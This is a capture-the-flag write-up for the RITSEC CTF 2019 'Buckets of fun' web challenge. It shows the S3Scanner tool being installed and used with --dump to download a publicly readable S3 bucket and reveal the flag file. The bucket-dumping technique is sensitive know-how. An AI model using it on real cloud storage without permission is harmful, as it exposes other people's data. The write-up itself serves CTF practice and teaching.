RITSEC CTF 2019 – Buckets of fun

• Category: web
• Points: 100

Challenge

http://bucketsoffun-ctf.s3-website-us-east-1.amazonaws.com/

Author: scriptingislife

Solution

The title of the challenge is a hint to insecure/public AWS S3 buckets, so S3Scanner can be used to easily dump the content.

root@m3ss4p0:~# git clone https://github.com/sa7mon/S3Scanner.git
root@m3ss4p0:~# cd S3Scanner/
root@m3ss4p0:~/S3Scanner# chmod u+x s3scanner.py
root@m3ss4p0:~/S3Scanner# pip install -r requirements.txt 
root@m3ss4p0:~/S3Scanner# python3 ./s3scanner.py --dump bucketsoffun-ctf.s3-website-us-east-1.amazonaws.com
root@m3ss4p0:~/S3Scanner# cd buckets/bucketsoffun-ctf/
root@m3ss4p0:~/S3Scanner/buckets/bucketsoffun-ctf# ll
totale 8
-rw-r--r-- 1 root root 630 nov 16 09:15 index.html
-rw-r--r-- 1 root root  25 nov 16 09:15 youfoundme-asd897kjm.txt
root@m3ss4p0:~/S3Scanner/buckets/bucketsoffun-ctf# cat youfoundme-asd897kjm.txt
RITSEC{LIST_HIDDEN_FILES}

The flag is the following.

RITSEC{LIST_HIDDEN_FILES}

Original writeup (https://github.com/m3ssap0/CTF-Writeups/tree/master/RITSEC%20CTF%202019/Buckets%20of%20fun).